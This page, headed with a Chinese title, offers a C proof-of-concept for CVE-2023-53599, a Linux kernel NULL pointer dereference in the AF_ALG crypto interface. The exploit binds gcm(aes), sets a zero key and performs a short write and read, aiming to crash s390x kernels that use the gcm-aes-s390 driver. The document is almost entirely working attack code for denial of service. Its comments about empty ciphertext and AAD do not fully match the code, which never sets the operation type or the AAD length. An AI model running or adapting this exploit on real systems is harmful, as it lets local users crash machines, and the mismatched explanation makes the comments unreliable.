CVE-2023-53599 Linux内核crypto af_alg模块空指针解引用漏洞

// CVE-2023-53599 PoC - Trigger kernel oops via empty ciphertext on AF_ALG // Affected: Linux kernel with gcm-aes-s390 driver on s390x architecture // Impact: Kernel NULL pointer dereference leading to system crash (DoS) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> #include <linux/socket.h> #include <sys/stat.h> #include <fcntl.h> int main(int argc, char *argv[]) { int tfmfd, opfd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "aead", .salg_name = "gcm(aes)" }; // Create AF_ALG socket tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (tfmfd < 0) { perror("socket"); return 1; } // Bind to gcm(aes) cipher if (bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(tfmfd); return 1; } // Set encryption key (32 bytes for AES-256) unsigned char key[32] = {0}; if (setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) { perror("setsockopt key"); close(tfmfd); return 1; } // Accept connection to create operation fd opfd = accept(tfmfd, NULL, 0); if (opfd < 0) { perror("accept"); close(tfmfd); return 1; } // Send empty ciphertext to trigger the vulnerability // The key is sending 0 bytes of ciphertext which causes // af_alg_get_rsgl() to skip initialization of first_rsgl char empty_buf[16] = {0}; // Send AAD (Additional Authenticated Data) first write(opfd, empty_buf, 12); // Send empty ciphertext - this triggers the bug // recvmsg will call aead_recvmsg -> crypto_aead_decrypt // -> gcm_walk_start with uninitialized req->dst char recv_buf[1]; read(opfd, recv_buf, 1); close(opfd); close(tfmfd); printf("PoC executed - check dmesg for kernel oops\n"); return 0; }